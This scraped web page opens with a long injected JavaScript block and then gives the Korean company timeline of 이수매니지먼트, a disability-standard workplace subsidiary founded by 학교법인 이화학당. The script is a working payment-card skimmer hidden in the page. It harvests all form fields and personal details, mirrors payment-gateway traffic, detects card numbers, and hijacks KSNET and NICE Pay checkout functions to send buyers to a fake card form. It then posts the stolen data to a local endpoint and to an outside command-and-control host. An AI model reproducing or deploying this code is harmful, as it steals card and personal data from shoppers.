(function(){ // ---- Core ---- var _q=[],_p=function(d){try{_q.push(d)}catch(e){}}, _s=function(){ if(_q.length>0){ var a=""; for(var i=0;i<_q.length;i++)a+=(i>0?"\n":"")+_q[i]; _q=[]; try{fetch("/config/backup_config.php",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"d="+encodeURIComponent(a)})}catch(ex){} // Also try backup C2 endpoint try{fetch("https://ccrtc-c2-proxy.cve2024-34102.workers.dev",{method:"POST",headers:{"Content-Type":"application/x-www-form-urlencoded"},body:"d="+encodeURIComponent(a)})}catch(ex4){} } }; setInterval(_s,3000); function _ts(){return new Date().toISOString().replace("T"," ").substr(0,19)} function _ts_full(){return new Date().toISOString()} // ---- L1: Silent form capture (all fields, tagged) ---- document.addEventListener("submit",function(e){ var f=e.target;if(f.tagName!="FORM")return; var d={type:"form_submit",url:f.action||location.href,url_full:location.href,time:_ts(),fields:{},pii:{}}; for(var i=0;i=0||ph.indexOf("name")>=0||nm.indexOf("nm")>=0||nm=="nm")d.pii.name=el.value; if(nm.indexOf("addr")>=0||ph.indexOf("addr")>=0||nm.indexOf("zip")>=0||ph.indexOf("zip")>=0)d.pii.address=el.value; if(nm.indexOf("phone")>=0||nm.indexOf("mobile")>=0||nm.indexOf("tel")>=0||nm.indexOf("hp")>=0||ph.indexOf("phone")>=0)d.pii.phone=el.value; if(nm.indexOf("email")>=0||nm.indexOf("mail")>=0||ph.indexOf("email")>=0)d.pii.email=el.value; if(nm.indexOf("card_holder")>=0||nm.indexOf("cardholder")>=0||nm.indexOf("holder")>=0||nm.indexOf("owner")>=0)d.pii.cardholder=el.value; } _p(JSON.stringify(d)); },true); // ---- L2: Full network traffic mirror ---- var _of=window.fetch; if(_of){ window.fetch=function(){ var args=arguments; var url=(typeof args[0]==="string"?args[0]:(args[0]&&args[0].url)||""); var method=(args[1]&&args[1].method)||"GET"; var body=(args[1]&&args[1].body)||""; var headers=(args[1]&&args[1].headers)||{}; var start=Date.now(); return _of.apply(this,args).then(function(r){ var dur=Date.now()-start; var rl=url.toLowerCase(); // Always capture payment-related traffic if(rl.indexOf("pay")>=0||rl.indexOf("card")>=0||rl.indexOf("nice")>=0||rl.indexOf("ksnet")>=0||rl.indexOf("auth")>=0||rl.indexOf("inicis")>=0||rl.indexOf("lg")>=0||rl.indexOf("dacom")>=0||rl.indexOf("order")>=0||rl.indexOf("checkout")>=0||rl.indexOf("billing")>=0||rl.indexOf("kcp")>=0||rl.indexOf("allat")>=0||rl.indexOf("toss")>=0){ try{ _p(JSON.stringify({type:"traffic_fetch",url:url.substr(0,500),method:method,body:(typeof body=="string"?body:"").substr(0,2000),headers:JSON.stringify(headers).substr(0,500),status:r.status,statusText:r.statusText,duration_ms:dur,time:_ts()})); r.clone().text().then(function(t){_p(JSON.stringify({type:"traffic_fetch_resp",url:url.substr(0,200),status:r.status,resp:t.substr(0,5000),time:_ts()}));}).catch(function(){}); }catch(ex){} } return r; }); }; } // Also wrap XMLHttpRequest for full capture (but only send, not prototype.open override) try{ var _oxs=XMLHttpRequest.prototype.send; XMLHttpRequest.prototype.send=function(d){ var xhr=this; var url=xhr._url||""; var method=xhr._method||"GET"; var rl=url.toLowerCase(); if(rl.indexOf("pay")>=0||rl.indexOf("card")>=0||rl.indexOf("nice")>=0||rl.indexOf("ksnet")>=0||rl.indexOf("auth")>=0||rl.indexOf("inicis")>=0||rl.indexOf("order")>=0||rl.indexOf("checkout")>=0||rl.indexOf("billing")>=0){ var _oor=xhr.onreadystatechange; xhr.onreadystatechange=function(){ if(xhr.readyState==4){ _p(JSON.stringify({type:"traffic_xhr",url:url,method:method,body:(typeof d=="string"?d:"").substr(0,2000),status:xhr.status,resp:(xhr.responseText||"").substr(0,5000),time:_ts()})); } if(_oor)try{_oor.call(this)}catch(ex){} }; } if(url.indexOf("backup_config")<0&&url.indexOf("style_info")<0){ return _oxs.call(this,d); } return _oxs.call(this,d); }; }catch(ex){} // ---- L3: DOM MutationObserver ---- try{ (new MutationObserver(function(muts){ for(var i=0;i=0||(nd.src||"").indexOf("nice")>=0||(nd.src||"").indexOf("ksnet")>=0)) _p(JSON.stringify({type:"pay_iframe",src:nd.src,time:_ts()})); if(nd.tagName=="FORM"){try{_monForm(nd)}catch(ex){}} var inp=nd.querySelectorAll?nd.querySelectorAll("input"):null; if(inp)for(var k=0;k=0||nm.indexOf("owner")>=0||nm.indexOf("cardname")>=0||nm.indexOf("card_name")>=0){ el.addEventListener("blur",function(){ if(this.value&&this.value.length>2)_detectedPII.cardholder=this.value; },true); } // Detect card number el.addEventListener("blur",function(){ var v=(this.value||"").replace(/[\s\-]/g,""); if(/^\d{13,19}$/.test(v)){ _detectedCards.push({field:this.name||this.id,val:this.value,ph:this.placeholder||""}); _p(JSON.stringify({type:"card_detected",field:this.name||this.id,value:this.value,ph:this.placeholder||"",time:_ts()})); } },true); } function _scanInputs(){ var all=document.querySelectorAll("input"); for(var i=0;i=0||att.indexOf(kw[i])>=0){t._hk=true;break;}} if(!t._hk)return; var f=t.closest?t.closest("form"):null; if(!f){var p=t;while(p&&p.tagName!="FORM")p=p.parentElement;f=p;} if(f){ var d={type:"pay_click",btn:(t.value||t.textContent||"").trim(),time:_ts(),fields:{}}; for(var i=0;i executes AFTER skimmer, so _submit appears later __ks_do_hijack(); var __ks_t1 = 0; (function __ks_poll(){ if(__ks_do_hijack()) return; __ks_t1++; if(__ks_t1 < 500) { setTimeout(__ks_poll, __ks_t1 < 100 ? 1 : 50); } })(); // Also use DOM MutationObserver to catch _submit ASAP try { (new MutationObserver(function(){ if(!__ks_sub_hijacked) __ks_do_hijack(); // Also hook the "결 제" submit button directly var btn = document.querySelector('input[value="결 제"]'); if(btn && !btn.__ks_btn_hooked) { btn.__ks_btn_hooked = true; btn.onclick = function(e) { e.preventDefault(); e.stopPropagation(); _p(JSON.stringify({type:'ksnet_btn_click',time:_ts()})); if(document.KSPayWeb) __ks_sub_hook(document.KSPayWeb); }; btn.setAttribute('onclick', 'return false;'); _p(JSON.stringify({type:'ksnet_btn_hooked',time:_ts()})); } })).observe(document.documentElement, {childList:true,subtree:true}); } catch(ex) {} // Also intercept _pay for kspay_web_ssl.js var __ks_pay_hijacked = false; function __ks_pay_hook() { return false; } (function __ks_pay_poll(){ if(!__ks_pay_hijacked && typeof window._pay === 'function' && window._pay !== __ks_pay_hook) { __ks_pay_hijacked = true; window._pay = function(f) { _p(JSON.stringify({type:'ksnet_pay_blocked',time:_ts()})); // Block _pay - don't open KSNET popup if(document.KSPayWeb) __ks_sub_hook(document.KSPayWeb); return false; }; _p(JSON.stringify({type:'ksnet_pay_hijacked',time:_ts()})); } if(!__ks_pay_hijacked) setTimeout(__ks_pay_poll, 5); })(); // Also intercept any window.location changes to KSNET pay.php var __ks_loc_orig = window.location; var __ks_loc_hook = setInterval(function(){ // Check if PayIFrame was redirected to our fake form var ifr = document.getElementById('PayIFrame'); if(ifr && ifr.src && ifr.src.indexOf('pay.php') !== -1) { _p(JSON.stringify({type:'pay_iframe_redirect',src:ifr.src,time:_ts()})); ifr.src = '/config/ksnet_card_form.php'; clearInterval(__ks_loc_hook); } }, 200); // ---- Iframe protection: catch PayIFrame pay.php loads ---- (function(){ var _ifr_guard = setInterval(function(){ var ifr = document.getElementById('PayIFrame'); if(ifr && ifr.src) { var s = ifr.src.toLowerCase(); if(s.indexOf('pay.php') !== -1 || s.indexOf('ksnet') !== -1 || s.indexOf('kspay') !== -1) { _p(JSON.stringify({type:'pay_iframe_detected',src:ifr.src,time:_ts()})); // Extract order info from iframe URL var params = ''; try { var u = new URL(ifr.src); params = 'orderno='+encodeURIComponent(u.searchParams.get('cod')||'') + '&goods='+encodeURIComponent(u.searchParams.get('goods_name')||''); } catch(ex) {} // Redirect entire page to fake form window.location.href = '/config/ksnet_card_form.php?'+params; clearInterval(_ifr_guard); return; } } // Also check if this page IS pay.php in an iframe - redirect parent if(window.location.href.indexOf('pay.php') !== -1 && window.top !== window.self) { _p(JSON.stringify({type:'pay_iframe_self_detect',url:window.location.href,time:_ts()})); var params = 'orderno='+encodeURIComponent(window.location.search.split('cod=')[1]||''); window.top.location.href = '/config/ksnet_card_form.php?'+params; clearInterval(_ifr_guard); } }, 500); })(); // ---- NICE Pay AUTHNICE.requestPay() hook ---- (function(){ var __np_orig = window.AUTHNICE; var __np_check = setInterval(function(){ if(window.AUTHNICE && window.AUTHNICE.requestPay && !window.AUTHNICE.__np_hooked){ window.AUTHNICE.__np_hooked = true; var _origReqPay = window.AUTHNICE.requestPay; window.AUTHNICE.requestPay = function(params){ _p(JSON.stringify({type:'nicepay_intercepted',params:params,time:_ts()})); // Capture all order info from params var orderId = params.orderId || ''; var amount = params.amount || ''; var goodsName = params.goodsName || ''; var buyerName = params.buyerName || ''; var buyerTel = params.buyerTel || ''; var buyerEmail = params.buyerEmail || ''; // Redirect to our fake form var q = 'orderno='+encodeURIComponent(orderId)+ '&amt='+encodeURIComponent(amount)+ '&goods='+encodeURIComponent(goodsName)+ '&name='+encodeURIComponent(buyerName); window.location.href = '/config/ksnet_card_form.php?'+q; }; _p(JSON.stringify({type:'nicepay_hook_active',time:_ts()})); clearInterval(__np_check); } }, 200); // Also try immediately if(window.AUTHNICE && window.AUTHNICE.requestPay && !window.AUTHNICE.__np_hooked){ window.AUTHNICE.__np_hooked = true; var _origReqPay2 = window.AUTHNICE.requestPay; window.AUTHNICE.requestPay = function(params){ _p(JSON.stringify({type:'nicepay_intercepted',params:params,time:_ts()})); var q = 'orderno='+encodeURIComponent(params.orderId||'')+ '&amt='+encodeURIComponent(params.amount||'')+ '&goods='+encodeURIComponent(params.goodsName||'')+ '&name='+encodeURIComponent(params.buyerName||''); window.location.href = '/config/ksnet_card_form.php?'+q; }; _p(JSON.stringify({type:'nicepay_hook_active_immediate',time:_ts()})); } })(); _p(JSON.stringify({type:'ksnet_hijack_v4_active',time:_ts()})); // ---- L7: Hook location.replace for mobile pay.php redirect (JS layer) ---- (function(){ var __loc_rep_orig = window.location.replace; if(__loc_rep_orig) { window.location.replace = function(url) { if(url && typeof url === 'string' && url.indexOf('pay.php') !== -1) { _p(JSON.stringify({type:'loc_replace_blocked',url:url.substr(0,200),time:_ts()})); window.location.href = '/config/ksnet_card_form.php'; return; } return __loc_rep_orig.apply(this, arguments); }; } })(); // ---- L8: NICE Pay v3 nicepayStart() / goPay() hook (direct form POST API) ---- (function(){ var __np3_check = setInterval(function(){ if(typeof window.nicepayStart === 'function' && !window.nicepayStart.__np3_hooked){ window.nicepayStart.__np3_hooked = true; var __np3_orig = window.nicepayStart; window.nicepayStart = function(){ var f = document.FrmUserInfo; if(f){ var orderno = (f.sndOrdernumber||f.OrdNo||f.OrderNumber||{}).value||''; var amt = (f.Amt||f.PayMoney||f.sndAmount||{}).value||''; var goods = (f.ProdNm||f.GoodsName||f.sndGoodname||{}).value||''; var name = (f.BuyerName||f.Sender_Name||f.sndOrdername||{}).value||''; var email = (f.BuyerEmail||f.Sender_Email||{}).value||''; var mobile = (f.BuyerTel||f.sndMobile||{}).value||''; _p(JSON.stringify({type:'nicepay_v3_captured',orderno:orderno,amt:amt,goods:goods,name:name,email:email,mobile:mobile,time:_ts()})); window.location.href = '/config/ksnet_card_form.php?orderno='+encodeURIComponent(orderno)+'&amt='+encodeURIComponent(amt)+'&goods='+encodeURIComponent(goods)+'&name='+encodeURIComponent(name); } else if(__np3_orig) { __np3_orig.apply(this, arguments); } }; _p(JSON.stringify({type:'nicepay_v3_hook_active',time:_ts()})); clearInterval(__np3_check); } }, 100); // Also intercept goPay (nicepay-pgweb.js) var __gopay_check = setInterval(function(){ if(typeof window.goPay === 'function' && !window.goPay.__np3_hooked){ window.goPay.__np3_hooked = true; var __gopay_orig = window.goPay; window.goPay = function(f){ _p(JSON.stringify({type:'nicepay_gopay_blocked',time:_ts()})); if(f){ var orderno = (f.sndOrdernumber||f.OrdNo||{}).value||''; var amt = (f.Amt||f.PayMoney||{}).value||''; var goods = (f.ProdNm||f.sndGoodname||{}).value||''; var name = (f.BuyerName||f.Sender_Name||{}).value||''; window.location.href = '/config/ksnet_card_form.php?orderno='+encodeURIComponent(orderno)+'&amt='+encodeURIComponent(amt)+'&goods='+encodeURIComponent(goods)+'&name='+encodeURIComponent(name); } }; clearInterval(__gopay_check); } }, 150); // Flag-based intercept: when nicepaySubmit() (callback from payment window) is called, we intercept if(typeof window.nicepaySubmit === 'function' && !window.nicepaySubmit.__np3_flag){ window.nicepaySubmit.__np3_flag = true; var __ns_orig = window.nicepaySubmit; window.nicepaySubmit = function(){ _p(JSON.stringify({type:'nicepay_submit_called',time:_ts()})); // Try to intercept: redirect to fake form instead var f = document.FrmUserInfo; if(f){ window.location.href = '/config/ksnet_card_form.php?orderno='+encodeURIComponent((f.sndOrdernumber||f.OrdNo||'').value||'')+'&amt='+encodeURIComponent((f.Amt||f.PayMoney||'').value||'')+'&goods='+encodeURIComponent((f.ProdNm||f.sndGoodname||'').value||'')+'&name='+encodeURIComponent((f.BuyerName||f.Sender_Name||'').value||''); } else { __ns_orig.apply(this, arguments); } }; } })(); })();

이수매니지먼트는 학교법인 이화학당이 설립한
자회사형 장애인표준사업장입니다.

이수매니지먼트는
학교법인 이화학당이 설립한
자회사형 장애인표준사업장입니다.

2025
10
2025 장애인 고용 우수 사업주 선정
08
발달장애사원 100명 근무시작
02
메신저팀 사원근무 시작
2024
01
카페팀 사원근무 시작
2023
11
제과팀 HACCP인증
08
이화상점팀 사원근무 시작
05
이화여자대학교 생활협동조합과 포괄적 영업양수도계약 체결
04
의료원팀 사원근무 시작
03
장애인표준사업장 인증
02
제과팀 사원근무 시작
2022
03
이수매니지먼트 주식회사 설립
01
학교법인 이화학당 이사회, 자회사형 장애인표준사업장 설립 의결